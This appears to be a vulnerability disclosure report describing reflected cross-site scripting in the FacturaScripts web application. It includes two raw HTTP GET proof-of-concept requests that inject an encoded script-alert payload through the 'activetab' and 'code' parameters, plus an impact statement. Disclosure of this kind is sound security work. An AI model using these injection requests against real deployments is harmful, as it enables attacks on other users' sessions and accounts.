Description

We can insert XSS payload at http://localhost/facturascripts/ListAlbaranProveedor, the 'activetab' parameter.

Proof of Concept

GET /facturascripts/ListAlbaranProveedor?action=&activetab=ListAlbaranProveedorjw6dm%3cscript%3ealert(1)%3c%2fscript%3eiumhkldgvjx&loadfilter=0&multireqtoken=deacd2b958f3152e4d1a944fb132354846f5ec78%7CKvVwnN&offset=0&order=3&query=abc&filterdate=&filterstartdate=&filterenddate=&filtermin-total=&filtermax-total=&filteridestado=&filternick=&filtercodserie=&filtercodpago=&filtercodproveedor= HTTP/1.1
Host: localhost
Cache-Control: no-transform
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1

and

GET /facturascripts/EditPageOption?code=EditProductobedh4%3cscript%3ealert(1)%3c%2fscript%3ehvula&url=ListProducto HTTP/1.1
Host: localhost

Video PoC

https://drive.google.com/file/d/1W2aKLT3aYPXmxSVz9gtP6abB026ah7sW/view?usp=sharing

Impact

This vulnerability has the potential to deface, Initiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.